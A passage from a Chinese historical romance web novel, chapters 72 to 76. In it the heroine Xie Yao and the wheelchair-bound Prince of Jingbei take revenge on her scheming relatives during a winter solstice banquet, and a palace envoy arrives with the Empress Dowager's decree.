谢窈看出来,靖北王那双桃花眸透着志得意满的蛊惑,仿佛,在向她讨要什么奖励。 谢窈走到白术旁边:“我来吧。” 白术:“王妃,王爷的轮椅比寻常轮椅要沉重许多。” 谢窈摇头:“早晚都是要我来的。” 箫熠之眉头微拧,没等他开口,白蔹道:“王爷,您就是不让谢二小姐推,这两天宫里也会来人,教导她怎么做。” 箫熠之:“……” 谢窈懒得和他争论,直接上手,反正箫熠之并没有真的特别反对。 经过这几次的相处,谢二小姐已经初步摸透了靖北王的脾气,那就是:只要把他当做正常人,他就是个正常人。 如果认为他和传闻中一样暴戾冷血,那他就会露出残忍的一面。 白术只能让开,和其他亲王一起,有些紧张地盯着准王妃。 只见准王妃牢牢把住轮椅后门的扶手,一用力,轮椅动了起来。 谢窈是第一次给箫熠之推轮椅,比她想象中要沉重许多,推起来确实要用上几分力气。 但并非寸步难行。 她回想着之前见过的速度,步伐控制得不快不慢,是他平时习惯的节奏。 箫熠之背对着她,面上仍旧是惯常的沉静,指尖却微不可察地蜷了一下。 正厅的门槛,已经铺上了木板,可以使轮椅平稳移动。 谢窈推得很稳,也很淡然。 对她来说,这只是件寻常小事,不过,既然要做,就要做的认真。 寒意骤然袭来,细碎的雪花被风卷着,落到他们身上。 白蔹连忙撑起伞簦,跟上去,为谢二小姐和王爷遮雪。 一时之间,正厅内其他人,都不敢说话,也不敢相送。 白术望着他们雪中慢慢模糊的背影,这个沉默寡言的男人,鼻子忽然有些发酸。 “不知道为什么,属下有点想哭。” 一名亲卫说出了白术想说的话。 “俺也一样!” “有谢……王妃真好,王爷,好像就没有从前那么孤单了。” 这句话得到了其他亲卫一致点头。 这些五大三粗的亲卫,忽然一个个眼眶发红。 不多时,谢窈就把箫熠之送到伯府门口。 她把轮椅的控制权,交还给跟上来的白术。 早已有王府马车等待,今天这辆马车是用四匹马拉的,车窗雕花,连车辙都刷了金漆,整体高大,里面塞进十个八个人不在话下。 也因此,没办法用木板铺着把轮椅推上去,那样太陡峭了。 伯府门口有一些百姓,装作路过,暗中张望。 这些百姓都很小心,不敢提及靖北王的双腿,但还是耐不住好奇,靖北王的马车这么高,他又坐在轮椅上,应该怎么上去。 难不成是被人抱上车吗? 只见王爷的轮椅两侧展开一对木质扶手,两名高壮亲卫出列,面无表情地控住扶手,同时用力,连带着轮椅和扶手,将王爷一起抬上车。 百姓们惊奇地睁大眼睛,发出嘀咕声音。 亲卫们的表情越发严肃凝重,他们都知道,百姓,在把王爷当热闹看,而这个行为,有损王爷威严的形象。 箫熠之已经习惯了,神情淡漠,只是眼底的笑意淡了几分。 在正厅时张扬狂傲的靖北王,现在,却像覆盖皑皑冰雪的空寂山谷,从内到外散发着彻骨寒意。 谢窈却忽然问道:“王爷能骑马吗?” 她记得,前世临死时看见的箫熠之,隐约是骑在马上的。 即便谢窈两世为人,也无法忽略那些异样的目光,百姓们细碎的窃窃私语,也都钻进她耳朵里。 箫熠之坐在轮椅上,被人抬上马车,谢窈觉得很正常。 她上次中箭摔下马,摔成狗啃泥,她的亲卫把她丢到马背横着从战场上带回来,大家都嘲笑她,她也笑得很灿烂。 但那样的嘲笑,和箫熠之面对的不一样。 谢窈心里不太舒服。 不是嫌弃,也不是同情。 就是不甘心。 她看不得从前战无不胜,领兵打仗的靖北王,却落得这样的下场。 第72章 冬至安康,砸了客人马车 白蔹好不容易平复的内心,又咯噔一声。 谢二小姐怎么总是能语出惊人。 不过,他很快发现,这句“王爷能骑马吗”,不止他听到了,他哥白术,还有王府这队亲卫,赶车的车夫,全都听到了。 因为大家都“咯噔”起来。 众人心道:就算您是准王妃,您怎么敢问王爷这种问题的? 即便王爷允许您骑马来王府,又给您送了几匹马当礼物,您也不能说这种忌讳之语啊。 果然,马车的车帘没有放下,箫熠之问道:“为什么问本王这个问题。” 他能感受到,谢窈并不是嫌弃他被人抬上马车,也不是可怜他,又确实是因为此事,才问出了这个问题。 白蔹心都提了起来。 看来,王爷生气了。 快说您是闲的,啊不,快说您说错了。 谢窈实话实说:“要是你能骑马的话,更方便,而且,你送我的那八匹马,也可以跟我一起骑。有匹乌云踏雪,王爷骑上一定很威武。” 竖起耳朵的白蔹,已经大汗淋漓。 要知道,自从王爷受伤,就再也没骑过马了啊! 连后山的马场,也只是当年王爷苏醒后,去看了一次。 现在,谢二小姐不但自己要骑马,还邀请王爷一起? 这话太不要命了。 众人大气都不敢喘,就听王爷清晰而平静地说了一个字:“好。” 白蔹:? 谢窈点点头,看着白术也上了车,正要走,箫熠之道:“本王也可以不卖谢二小姐这个面子。” 他说的是刚才在正厅,他因为谢窈,只是让谢成柏和谢枝二人名声扫地。 其实,还可以更狠点。 毕竟他看见谢家二房那个少年眼神不敬,仅这一条,杀了都行。 “仇,还是亲手报的好,”谢窈摇头,并没有避讳,“软刀子割肉,才痛。” 箫熠之没有再问了。 雪下的大了,落在谢窈的发间和眉眼,融化成湿润的凉意,更衬得她唇红齿白,眉目清晰如画。 他垂眸看她,吩咐白蔹:“送谢二小姐回去。” 谢窈向他欠身行礼,红唇漾起微笑,凤眸在大雪中清冽明亮:“多谢王爷前来,王爷,冬至安康。” 随即,她直接伸手,从白蔹手里接过伞簦往回走。 箫熠之凝视她一身红衣,撑伞在漫天飞雪里的修长背影,良久,才收回视线,感觉自己唇齿间,仍萦绕着那个团子甜甜的桂花清香。 仅这一句安康,今日来到谢家,就很值得。 “走吧。” 马车平缓地驶出棠柳巷,车内炭火温暖,王爷一如既往地神情淡漠。 “白蔹。” “属下在。” “今日冬至宴上,但凡讥讽过谢二小姐的人,不论男女,不论一句半句,把他们的马车,给本王砸了。” “属下遵命。” “领一队人,现在就去。” “是!” 白蔹领了命令,直接翻身下车,招呼着跟在马车后的王爷亲卫:“来十二人,跟我走!” 亲卫么齐刷刷出列,好奇地问:“小白侍卫,咱们做什么去?” 白蔹按着自己佩刀,笑得痞气,轻车熟路地吐出一句话:“回伯府,替谢二小姐,出口恶气!” 车内已经阖上眼的靖北王,忽然又开口:“玄霆的伤,好了吗?” 白术愣了愣,才想起来,“玄霆”是王爷从前战马的名字。 两年前岐江之战,王爷率领八百骑兵,歼灭五千西戎,身下战马身中几十箭,受了重伤。 “回禀王爷,玄霆早已大好,一直养在马场。” 箫熠之“嗯”了一声,微不可闻地喃喃:“迎娶夫人,自然是要骑马的。” 谢窈送完箫熠之,独自走回正厅。 靖北王的忽然出现,给原本热闹喧嚣的冬至宴,蒙上一层冰冷的气息。 即便他走了,看见谢窈,其他人同样心里发怵。 别说嘲讽,这次连恭维谄媚的人都少了。 而颜面尽失的谢家人,谢枝悄悄离开,谢家二爷说自己公务繁忙。 谢老夫人更不想在宴席上坐着,和几个老姐妹跑到外面,游园赏雪赏梅。 只有谢成柏和二房夫人还不甘心,想和安平侯夫人攀交情,安平侯夫人敷衍了两句,拉上自己妹妹,就要离开。 其他客人也没了兴致,各自跟文昌伯告辞。 还没离开,几个装扮不同的下人,忽然惊慌失措地赶来正厅。 “少爷不好了,咱们的马车被人砸了!” “夫人,有人要砸咱们王家的车架!” 接到消息的客人大怒:“光天化日,什么人敢砸我王家的马车,还有没有王法了!” “我陈家的车也被砸了,文昌伯,你得给我一个说法。” “天寒地冻的,没了马车,我等如何回去?” 这人询问什么人干的,还有人跑去质问谢明安。 谢明安急忙赶到后院,就见满地散碎的木条车辙,停在伯府院内的车架,一半都被砸得稀巴烂! 伯府下人哭丧着脸:“启禀伯爷,是靖北王手下的白侍卫刚才闯到后院,领着王爷亲卫,询问了每辆车的主人后砸的,我们根本拦不住啊!” 谢明安面容僵了僵,深吸一口气,强忍心中恨意。 他回到厅上,整顿衣冠,挨个跟被砸了车架的人道歉:“此事既然在伯府发生,本伯就不会推卸责任,还请各位贵客稍候,伯府会派车,将各位送回去。” 但伯府也没有太多马车,有的人住得远,一来一回就得一个时辰。 谢明安又叫来孙姨娘和自己另外两个妾室姨娘,安排房间,让一些人今晚暂住在伯府。 冬至宴本身就是笔不小的开销,现在血本无归,为了体面,他还要善后,他的心都在滴血。 谢窈坐在席上,看着谢明安与其他人虚与委蛇,悠然自在。 这些客人得知砸车的人是靖北王,不敢要补偿,又见文昌伯放低姿态,倒没有再闹。 谢明安肉眼可见地憔悴许多,但还是松了口气。 见谢窈还在那里喝茶,他气不打一处来,斥道:“看够了吗,不知与本伯一起安抚贵客?还嫌今日谢家不够热闹?” 谢窈心中冷笑。 这算什么,更热闹的事,还在后面呢。 她悠悠地说:“我不知京中礼数,父亲确定要我去安抚客人?” 谢明安想起她举着刀的样子,眼神冷了冷,拂袖离开。 车架被砸了的,要么是之前跟着江念惜和谢枝嘲讽过她的贵女,要么是吹捧谢成柏的年轻男子。 连安平侯府的马车也没有幸免,但安平侯夫人没有任何不满,甚至还走到她面前,温和地和谢窈告别。 谢窈颔首点头。 彻底失去和江三小姐结亲机会的堂弟谢成柏,站在空无一人的角落里,如丧考妣地盯着谢窈。 这样阴冷的眼神,当然逃不过谢窈的眼睛。 她站起身,故意路过堂弟身边。 擦肩而过之时,谢窈淡淡地说:“堂弟不是想成为第二个谢成榆吗,现在,如你所愿。” 第73章 堂弟发疯,祖母落水 说完,谢窈没看谢成柏骤然扭曲的面色,撑着伞簦,走出了正厅。 谢成柏胸口激烈地震动两下,咬了咬牙,跟了上去。 一想到因为这个女人,他被靖北王问责,被同窗别人嘲笑,连父亲母亲给他安排的亲事也吹了,他就恨不得杀了谢窈。 谢窈走在前面,余光瞥见身后,谢成柏果然恨得双眼通红,跟着自己。 她不由想起前世。 谢枝撺掇江三小姐等贵女嘲讽她,引起安平侯夫人的不快,谢成柏同样没有娶到江三小姐。 客人走了之后,谢成柏就向谢老夫人告状,说都是因为她名声不堪,江家才不把江三小姐嫁入谢家。 他将一切过错,推到了自己身上。 谢老夫人竟然点了点头,认为谢成柏说得有理。 冬月十一冬至,这一日,是她前世嫁给陆慎言之前,最寒冷的一天。 她差一点,就死在了伯府。 不知不觉,谢窈来到后花园,踏上回廊。 碎雪簌簌,落在那满园红梅上,似鹅毛点缀着澄澈的池塘。 池塘是人工开凿的,上面结了一层薄冰,与岸边的亭子与嶙峋假山相映成趣。 远处,身披貂皮大氅的谢老夫人,和几个诰命夫人坐在回廊尽头的亭台里,手捧暖炉,欣赏雪景。 这边则没有人。 谢成柏终于忍无可忍,低吼一声:“谢窈,你给老子站住!” 谢窈回过头,眼神像淬了冰的刀子:“堂弟这么急地跟着我,是赶着步你大哥的后尘,想死?” “你还敢提我大哥!”谢成柏想到江三小姐不嫁自己,韩思雪也有份,顿时额头青筋暴起,恨声道。 “韩氏那个贱人把我大哥害了,肯定也是得到你的授意,才在安平侯夫人面前胡说八道,我和江念惜的亲事黄了,都因为你!” 谢窈嗤笑:“妄议王爷的不是堂弟你自己吗,丢人现眼的,不也是你和谢枝?都这样了,还想娶江三小姐,真是痴人说梦。” “好你个毒妇,你承认了,我要告诉大伯,靖北王是你故意叫来的,你自己嫁给一个残废,就要拉全族陪葬!” 谢成柏看出她眼里的嘲弄,脸庞涨成了猪肝色,咬牙切齿地低吼。 谢窈轻轻点头:“堂弟总算聪明了一回,没错,我就是故意的,你不会要打我吧?” 谢成柏彻底炸了,见她手里没有拿平时的刀,恶向胆边生,扬手就要扇她。 谢窈早有准备,身子一歪躲开,但并没有反击。 “堂弟怎么急了?这冰天雪地的,你是疯了吗。”她边退边说。 谢成柏见她虽然动作灵活,眼神却透着几分慌乱,笑了:“谢窈,没有刀,你还想吓唬谁?” 说完,他疯狗似的扑上来,抬手就是一拳。 谢窈抬手用伞簦挡住一掌,往后闪去。 她眼底翻涌着戾气,藏都不藏了,冷笑道:“自己没本事,就想推我下水,蠢货。” “贱人,你敢骂我,找死!”谢成柏双目瞪大,攥紧拳头再次冲上前。 他并没有注意到,谢窈后退的方向,正是谢老夫人和几位贵夫人赏雪的亭子。 两人一追一躲,就到了回廊拐角。 亭子里,几个贵夫人正在夸谢老夫人有福气,嫡孙女要嫁给靖北王,冬至宴办得也体面。 至于靖北王问罪谢成柏和谢枝,众人你不提,我不提,都当做这件事没发生。 谢老夫人拿着帕子掩嘴笑:“这都是我儿明安的功劳,他身为礼部侍郎,去岁迎接长公主回朝都有他参与,更何况一个冬至宴。” 这时,有个贵夫人指向她身后:“老夫人,那好像是王妃和你家二房的孙子。” 谢老夫人一回头,看见谢窈跑过来。 谢成柏在她身后出现,面露凶光:“贱人,去死!” 谢窈惊慌失措:“成柏,我可是你堂姐,你自己求娶江三小姐不成,怎么能拿我撒气?” 说着,她一个踉跄,几乎要摔倒,身子贴着谢老夫人。 谢成柏哪还注意这是哪儿,反正靖北王已经离开,冬至宴也差不多快结束,伯府都是自己人。 谢窈喊道:“祖母救我!” “今天谁也救不了你!”谢成柏见她终于停下来,心下一喜,狠狠朝谢窈后背推去,却又一次推了个空—— “啊!” 一声尖叫,水花四溅。 但不是谢窈。 谢老夫人被推了个正着,“扑通”一声掉进池塘! “老夫人!” “天啊,有人落水了,快救人啊!” 周围瞬间炸开了锅,几个贵夫人和服侍的丫鬟嬷嬷,都此起彼伏地呼喊起来。 谢成柏僵在原地,手还保持着推人的姿势,整个人傻了。 他根本没有推到谢窈啊,谢老夫人怎么掉下去了! 谢窈的脸色发白,声音带着恰到好处的颤抖:“堂弟,你恨我不要紧,责问你的人是王爷,祖母只是没有求情而已,你怎能这么心狠,把她推下水呢!” 她低头,在一片喧嚣声中,静静地盯着池塘内扑腾嚎叫的谢老夫人,眼神幽冷。 王管事,就淹死在这个池塘。 说不定还有别人,也死在了这里。 谢家后花园的池塘,早已是罪孽无数,也该让谢家人自己体验一番。 前世,谢成柏抓着她,在谢老夫人面前追骂不休,还不解气,将她一把推下池塘! 冬至日的池水真冷啊,她穿着吸水的棉衣,在冰水里挣扎,呛水呼救,却看见岸上的人都低头看着水里的自己,一个个眼神比池水更冷。 最后,她强撑着身体,自己游上岸。 她求赶来的谢明安为自己做主,谢成柏却躲到谢老夫人身后,说,他只是轻轻一推,是她自己没站稳。 谢明安问谢老夫人,该如何处置。 谢老夫人道:如果不是谢窈与人私会,败坏了谢家名声,成柏也不会议亲失败。 还说,成柏只是一时情急,不是故意的。 谢家二爷说:“成柏还是个孩子,窈儿,你别和他计较。” 谢明安于是放过了谢成柏,语重心长地劝:“窈儿,他毕竟是你堂弟,咱们是一家人,哪有什么深仇大恨。” 谢窈不明白,如果谢成柏把她当家人,会恨不得淹死她吗。 谢二爷替自己儿子说情,情有可原,可她是谢老夫人嫡亲的孙女,是谢明安亲女儿,她的至亲,却向着谢成柏一个二房之子。 她急火攻心,伤势复发,吐血后,昏迷了三天三夜。 除了母亲暗中找大夫和派人照顾,没有任何人看望自己。 冬日的池水太冷,她风寒入骨,落下病根,丢了半条命,只换来谢老夫人一句:活该,谁让她毁了成柏的亲事。 而谢成柏,没有得到任何惩罚。 折腾了半天,谢明安赶来。 几个家丁慌忙跳下水,七手八脚把谢老夫人捞上来。 老太太浑身湿透,嘴里还呛着水,脸色青白一片,再没有端庄慈祥的模样。 第74章 报仇严惩堂弟,意外来人 片刻后,谢老夫人裹上棉被,紧紧地抱着手炉打摆子,鼻涕眼泪齐流,牙齿不住地发颤。 来参加冬至宴的客人泰半都没走,听到动静,惊奇地赶来围观。 原本和谢老夫人谈笑的几个贵夫人,也神色各异。 今日这谢家,可真是一波未平一波又起,太热闹了。 谢明安站在亭外,看着这乱糟糟的场面,眉头拧成一团。 “去拿几个炭盆过来,”他勉强保持镇定,关心道,“母亲没事吧?” 谢老夫人抬起头,一眼就看见还呆站着的谢成柏,惊怒交加:“反了,反了天了,这孽障要谋害老身啊!” 谢成柏这才回过神,魂飞魄散地跪下:“不是我,祖母!是你自己摔——” “不,”他盯着自己的手,忽然话头一转,目光阴狠地盯着谢窈,“是她,是谢窈故意把我引过来,她早就看见祖母在这儿了!” 谢窈躲在一个面容温和,眼神沉静的贵夫人身后,道:“堂弟,你怎么能这么说?明明是你追着我打,我躲都来不及。” 谢明安差人去叫大夫,回过头,脸色铁青。 他先瞪谢窈,质问道:“到底是怎么回事?谢窈,成柏说的是不是真的?是不是你故意引他过来,蓄意陷害他!” 他知道谢窈有些身手,所以,也认为此事另有蹊跷。 谢窈猛地抬头,眼眶瞬间红了。 “父亲?”她声音发颤,带着不敢置信的委屈,“堂弟在众目睽睽之下要打我,你不为我做主,反倒说我陷害?我是你亲女儿啊!” 这话说出,围观客人看着谢伯爷,目光复杂许多。 几个贵夫人看得清清楚楚,明明是侄子害女儿,没想到谢伯爷一上来,责怪的是女儿。 旁边的温和贵夫人皱着眉,开口:“伯爷这话就偏颇了,方才我瞧的清楚,是你侄子红着眼,追打你家二小姐,二小姐躲都来不及呢。” 说话的是礼部尚书夫人,姓何,平日最为尊礼,待人热络,有一颗侠义心肠。 而礼部尚书,是谢明安的顶头上司。 谢明安听出何夫人语气的怪罪,讪讪道:“何夫人有所不知,不是本伯冤枉她,是本伯这二女儿素来性子顽劣,爱使手段。” 何夫人嗤笑一声:“自己亲女儿被欺负,不护着也就罢了,还帮侄子说话,伯爷这话传出去,怕是要落个刻薄寡恩的名声。” 另一位夫人也跟着点头:“王爷刚说谢家的家风不严,我看也是……” “对了,听说文昌伯宠妾灭妻,你没见一整个冬至宴上,都是姨娘在操持,伯夫人面都没露吗。” 谢明安的额角直跳。 他最在乎自己和家族名声,可今日,一而再再而三地丢脸,简直比被谢窈揍一顿还叫他难受。 还有这个何夫人,平时最爱多管闲事,现在还管到他头上了。 谢老夫人本来快晕了,听到何夫人说儿子刻薄寡恩,连忙强撑身子站起来,抬手扇了谢成柏一巴掌。 “都是这小孽障惹的祸,光天化日追打自己的堂姐,还敢在伯爷面前狡辩,你是疯了不成!” 谢成柏脸上火辣辣地疼,气急败坏地咆哮:“不是我!祖母,我可是你的亲孙子,你打我干什么!” 谢老夫人面容扭曲:“你是老身孙子,老身更要管教你!” 谢明安看了看一脸委屈的谢窈,低头再看地上的侄子,恨得牙根痒痒。 这蠢货,连谢窈一个女子都打不过,还伤了他老娘。 他对护院吼道:“把谢成柏给我拖下去,杖责二十,禁足三个月,再敢胡言乱语,打断他的腿!” “大伯!你不能这样!” 谢成柏彻底慌了,哭着挣扎:“都是谢窈这个贱人害的,是她算计我啊,靖北王也是她叫来的!祖母,大伯,你们不信我信她?” 护院不敢耽搁,架起少年往外拖。 谢成柏的哭声越来越远,最后还在不停地咒骂谢窈。 赶来的二房夫人和谢二爷见到这一幕,又要晕过去。 谢窈听着谢成柏的声音,浑身舒坦,身体微微发抖。 何夫人见状,只当她是怕极了,越发怜惜她。 谢明安让人将谢老夫人抬去暖房,这才来安抚客人:“何夫人,今日之事,都是误会——” 话还没说完,何夫人已经摇了摇头,和其他贵夫人一起转身,不想和他说半句话。 谢窈站在原地,垂着眼看地上谢老夫人留下的那滩水渍,神情冰冷。 前世她被谢成柏推下水,发三天三夜的高烧,近乎等死的时候,谢明安只让人传话:你是姐姐,就应该让着弟弟。 谢老夫人还说,她活该。 如今呢?谢成柏推了谢老夫人落水,谢明安亲自下令严惩侄子,谢家家风不严的名声,算是彻底做实了。 何夫人是带着儿子来的,她儿子之前附和谢成柏,家里马车也被箫熠之砸了,一时之间被困在了伯府。 谢窈走上前,欠身行礼:“多谢几位夫人替我说话。” 这些贵夫人和善地说:“孩子,苦了你了,你没事就好。” “谢二小姐客气了,以后您是王妃,我们还得向您行礼呢。” 何夫人睨视不远处谢明安,故意道:“文昌伯府的事,等我回去,要跟我夫君好好说道说道。” 谢明安听到这话,脸色一阵青,一阵白。 他预感到每天早朝,皇上又要问责谢家了。 何夫人又低声道:“从前,我和你母亲也有过几面缘分,二小姐替我向她问好,也替我谢谢许家新开的胜济堂。” 谢窈听到胜济堂,就知道,是舅舅在暗中帮她和母亲。 “上个月家母生病,要五百年份的人参,那东西有市无价,多亏胜济堂拿出了老参,比市价还低三成,救了家母一条命。”何夫人感激地说。 谢窈问道:“济安堂没有这人参吗?” 何夫人冷哼:“如今京中医馆,都认胜济堂。济安堂漫天要价,一根人参居然卖千两黄金,早晚得黄了。” 她拉着谢窈的手,看见安平侯夫人送谢窈的玉镯子,于是,摘下自己发间一支鸽子血宝石簪子:“二小姐,这是谢礼。” 谢窈微微低头,何夫人亲手给她戴上,再仔细打量一番,满眼惊艳。 “天底下怎么会有这样钟灵毓秀,国色天香的姑娘,二小姐能把全京城的美人都比下去。” 要不是谢窈已经是待嫁靖北王妃,她都想把她拉到自己家当儿媳。 “伯夫人谬赞了。” 谢窈将她们送到后院休息等候,越发让这些贵夫人认为传言不真。 谢家二小姐明明礼数周全,温和大方,哪里是什么不懂规矩的乡野村妇? 安平侯夫人和妹妹江念惜正在后院暖阁,她们派了人回府通知,此刻,正在等自家派新的马车来。 忽然,江念惜指着一辆停到暖阁门口的车架,惊讶地问:“阿姐你看,那是不是姐夫的马车?” 安平侯夫人循声望去,看见朱轮华盖的马车,顿时眉开眼笑:“是侯爷来了。” 侯府下人配合地喊:“安平侯到——” 谢窈想起前世,皱了皱眉,就要离开。 却见谢枝不知道从何处窜出来,一个箭步,跑到众人跟前。 第75章 安平侯心思,宫里来人 “侯夫人留步,念惜妹妹留步。” 谢枝怀里抱着两支卷轴,来到江念惜面前。 她换了在厅内下跪出丑的衣裙,眼角微红,仿佛刚刚哭过。 “念惜妹妹,我知你喜欢字画,这是我收藏的刘道子山水图和松鹤图,还要多谢妹妹今日照拂。” 她声音哽咽:“今日扰了侯夫人和你的雅兴,都是枝枝的不是。” 江念惜收下字画,心想自己不是多喜欢字画,而是喜欢值钱的东西。 她笑道:“这不关枝姐姐的事,若非枝姐姐,我和阿姐还难以看清你那堂弟的真面目呢。” 安平侯夫人对这个庶女无半分好感,眉头微蹙,并不理会谢枝。 反倒是看见谢窈,她报以温和笑容:“谢妹妹改日若是闲暇,与我一起去织仙坊挑衣裳,我出银钱,任妹妹挑选,也只有那里的衣裳,才配得上谢妹妹的美貌。” 谢窈客气地说:“伯夫人过赞了,多谢伯夫人美意。” “夫人!” 一声轻朗的呼唤传来。 车帘掀开,安平侯利落地跳下来。 他十分年轻,锦衣玉冠,面容俊秀稚气,唯独眼下有一圈淡淡的乌青,眉眼透出几分倨傲风流。 安平侯夫人立即迎上前去:“这天寒地冻的,侯爷怎么亲自来了?” 她嘴上责怪,脸上却绽开笑容,环视周围,心中暗自高兴。 何夫人这个最爱凑热闹说嘴的人在,这一幕传出去,都会说她御夫有方,和安平侯夫妻和睦。 江念惜也说:“阿姐你看,姐夫这么快就来接你了,你俩感情真好。” 安平侯听见这话,脚步顿了顿,冲她挑眉一笑。 “小姨真是嘴甜,这么大的雪天,夫人马车坏了,本侯来接是应当的,不过——” 他语气带着几分轻佻,拖长调子,目光在江念惜身上扫了一圈。 “也得顺便来接小姨,听说谢家冬至宴办得热闹,本侯想瞧瞧小姨的未来夫婿。” 江念惜的脸一红,叹道:“姐夫别打趣我了,谢家的事明日怕是传遍了,我们江家是无福消受。” 听到这话,安平侯夫人脸上的笑容淡了下去。 安平侯姓李名钰,是先帝和太后最小的七皇子,如今才十八,比她小整整四岁。 她嫁到侯府四年,说是看着侯爷长大也不过分,侯爷性情顽劣,但嘴甜,最得太后喜欢,只有一点,近两年愈发贪图美色,侯府已经有了七八个侍妾。 一句“小姨”,她就看出自家夫君又打了龌龊心思,只是她这个庶妹实在蠢笨,还浑然不知。 安平侯逗了江念惜两句,视线不经意地扫过谢窈,眼睛猛地一亮。 谢窈一身红衣,站在廊下黯淡的光影里,凤眸明艳清冽,光华内敛,却又摄人心魂。 安平侯也见过不少美人,看见她,却心神震动,整个人好似情窦初开。 他喉结滚动,脚步不由自主偏向她:“这位姑娘是——” 然而,谢窈只是淡淡地扫了他一眼,眼神冰冷:“侯夫人,马车既然已到,我便回府了。” 前世陆慎言为安平侯挡箭受伤,事后,此人曾亲自来陆家探望,见了她一面。 当时安平侯看见她后,也是这样的眼神。 趁陆慎言不在,他说道:陆夫人,本侯对你一见如故,你若愿意,本侯愿助你与陆慎言和离,改嫁本侯。 谢窈冷冷地说:侯爷请自重。 安平侯虽然面露不甘,但陆慎言毕竟是他的救命恩人,他最终只是摇了摇头,遗憾地离开了。 “二小姐慢走。” 安平侯夫人见谢窈态度冷淡,微松了一口气,心里对她更多几分好感。 知进退,懂分寸,真是比那不安分的谢家庶女强上百倍。 “侯爷,这是文昌伯嫡女,待嫁靖北王的谢二小姐。” 安平侯夫人说道,强调“待嫁”二字,让自己夫君死心。 在她看来,侯爷再怎么风流好色,都是太后的儿子,皇上的弟弟,一言一行,必须得顾及皇室的体面名声。 他不会对有夫之妇动什么歪心思,更不敢招惹靖北王。 靖北王与皇上不是兄弟,却胜似兄弟。 而侯爷和皇上虽是兄弟,但皇上可是杀了自己五个兄弟的。 安平侯望着谢窈的背影,愣了愣:“她就是要嫁给箫熠之的谢二小姐?” “正是。” 安平侯清澈的眼神,变得幽深,阴冷。 原本看见谢窈,他只是心生好感,可知道她就是箫熠之要娶的王妃之后,他的拳头死死攥了起来。 他夫人不知道的是,从小到大,不管是先帝,母后,还是他手底下的人,都喜欢拿箫熠之跟诸皇子比较。 而那个男人,五年前杀了他四个哥哥! 最疼爱他的睿王哥哥,也被箫熠之亲自监斩,人头落地! 现在,箫熠之还能娶到谢窈这样的绝色美人,他真是不甘啊。 “念惜妹妹,侯夫人,既然画已送到,那枝枝也先告辞。”谢枝适时地开口,让安平侯回过神。 她的余光,一直往自己身上黏。 安平侯心里正憋着几分火气,被谢枝含羞带怯的目光一勾,顿时找到了发泄出口。 江念惜随口介绍:“姐夫,这是文昌伯的大女儿谢枝,枝姐姐。” “久仰枝姑娘大名,听说枝姑娘一手好丹青,是京中第一才女,本侯可真想见识一番你的墨宝。”安平侯说道。 这谢家大小姐虽不及谢窈惊艳夺目,但也算得上清丽可人,好像受了什么委屈,有几分惹人怜惜的媚态。 他目光肆无忌惮地在谢枝身上扫视,从她纤细的腰肢一路上移,最后对上那双含着水光的眼眸。 安平侯嘴角勾起一抹玩味的笑容,毫不避讳地回视谢枝。 “侯爷过赞了,只是闺阁女儿家打发时光罢了,哪里称得上丹青墨宝。” 谢枝心中暗喜,微垂下头,脸上更显得娇羞。 安平侯夫人将这一切尽收眼底,眼神瞬间冷了下去。 这个上不了台面庶出的贱人,名声已坏,还敢当着她的面勾引她的夫君,真是好大的胆子! “侯爷,时辰不早了。” 侯夫人声音平静,打断二人眉目传情。 安平侯这才收回目光,应了一声。 上马车之前,他又瞥了一眼谢枝,眼神意味深长,带着明显的暗示。 谢枝心头狂跳,面上却仍旧恭顺地福身:“恭送侯爷,侯夫人。” 暗地里,一名侯府的小厮早已看出主子的心思,留了下来。 安平侯夫人上了马车,望着身侧夫君年轻俊秀的侧颜,胸口起伏。 好个好色的夫君,好个不知廉耻的谢家庶女,这笔账,她记下了! 有她在,想嫁入侯府,做梦! 车外,谢枝看着远去的侯府马车,嘴角勾起一抹得意的笑容。 谢窈嫁给靖北王那个残废又如何,皇上没有选她入宫又如何。 安平侯这充满兴趣的目光,足以证明,她谢枝,照样能高嫁! 果不其然,一名小厮来到她身旁:“谢大小姐,奴才是侯爷身边的内侍,明日午后,侯爷要去汴河冰钓。” 他只说了这一句,谢枝却懂了。 另一边,谢窈回到晚香院。 刚坐下一盏茶功夫,宫里尚衣局就来人,说要给靖北王妃做翟衣礼服。 一同来的,还有道太后的懿旨。 第76章 太后懿旨,孙姨娘终于行动 尚衣局来了两个宫女,说等谢窈成为靖北王妃,日后少不了进宫面圣。 一些特殊场合,王妃需要穿翟衣礼服,她们来就是为了提前丈量尺寸,赶制新衣。 至于谢窈的嫁衣,那由靖北王府准备,尚衣局不管。 和她们一起来的,是太后身边的掌事宫女,芝黛。 芝黛身穿宫装,拿着太后懿旨,许素素和谢明安都得出面迎接。 还留在谢家等马车相送的客人,见到宫里来人,也前来凑热闹。 “太后有旨,谢家二小姐谢窈,自幼不在京中,既已许配靖北王,婚事将近,当知王府规矩,明日起,着宁寿宫掌事宫女前往谢府,教导谢二小姐礼仪。” 芝黛姑姑说道。 “臣接旨,谢太后恩典,”谢明安内心暗喜,语气难掩激动,“芝黛姑姑亲自前来,真是让伯府蓬荜生辉。” 芝黛向他微微颔首,余光瞥着前来围观的冬至宴客人,故意抬高声音:“太后看重王爷,也看重文昌伯府,特意叫我来教谢二小姐礼仪,伯府的规矩,自然是好的。” 芝黛的身份不一般,她祖父是先帝时的礼部老尚书,原本被送入宫,是想让先帝收为妃嫔。 因为做事细致,她被太后挑去伺候,但还没等侍寝,先帝就驾崩了。 宫女年满二十五岁可以出宫,但老尚书已经致仕多年,她家道中落,就留在了宫里,年纪轻轻,成了太后身边的掌事宫女。 几年前安平侯大婚,芝黛曾奉太后懿旨,去江家教导安平侯夫人。 如今靖北王大婚,她来教导谢窈,是为了王府,更是给伯府面子。 既然她当众说伯府规矩好,那伯府今日纵然被靖北王责备,文昌伯固然丢人至极,倒也能挽回些名声。 芝黛的话,让丢了一天人,已经焦头烂额的谢明安,脸上终于露出真切的笑容。 谢窈领旨谢恩,问道:“敢问姑姑要教臣女什么礼仪呢?” 前世她没有嫁给箫熠之,自然没有这一遭。 芝黛上下打量着谢窈,眼中闪过几分惊艳,脸色却很是冷淡。 “明日谢二小姐就知道了。” 她又看向谢窈身后的许素素,道:“伯夫人的身子如何了?” 许素素摇了摇头:“多谢芝黛姑姑关心,还是老样子。” 芝黛看她的气色,就知道不太好,但并未再问。 等尚衣局宫女量完衣裳尺寸,芝黛带人离开,谢明安前去相送。 谢窈回头问许素素:“母亲和芝黛认识吗?” 许素素道:“从前她还没进宫时,她和她祖父老尚书来伯府,与老伯爷交谈公事,她和我见过一次,之后她经常出宫,替太后传旨,又见过两面。” 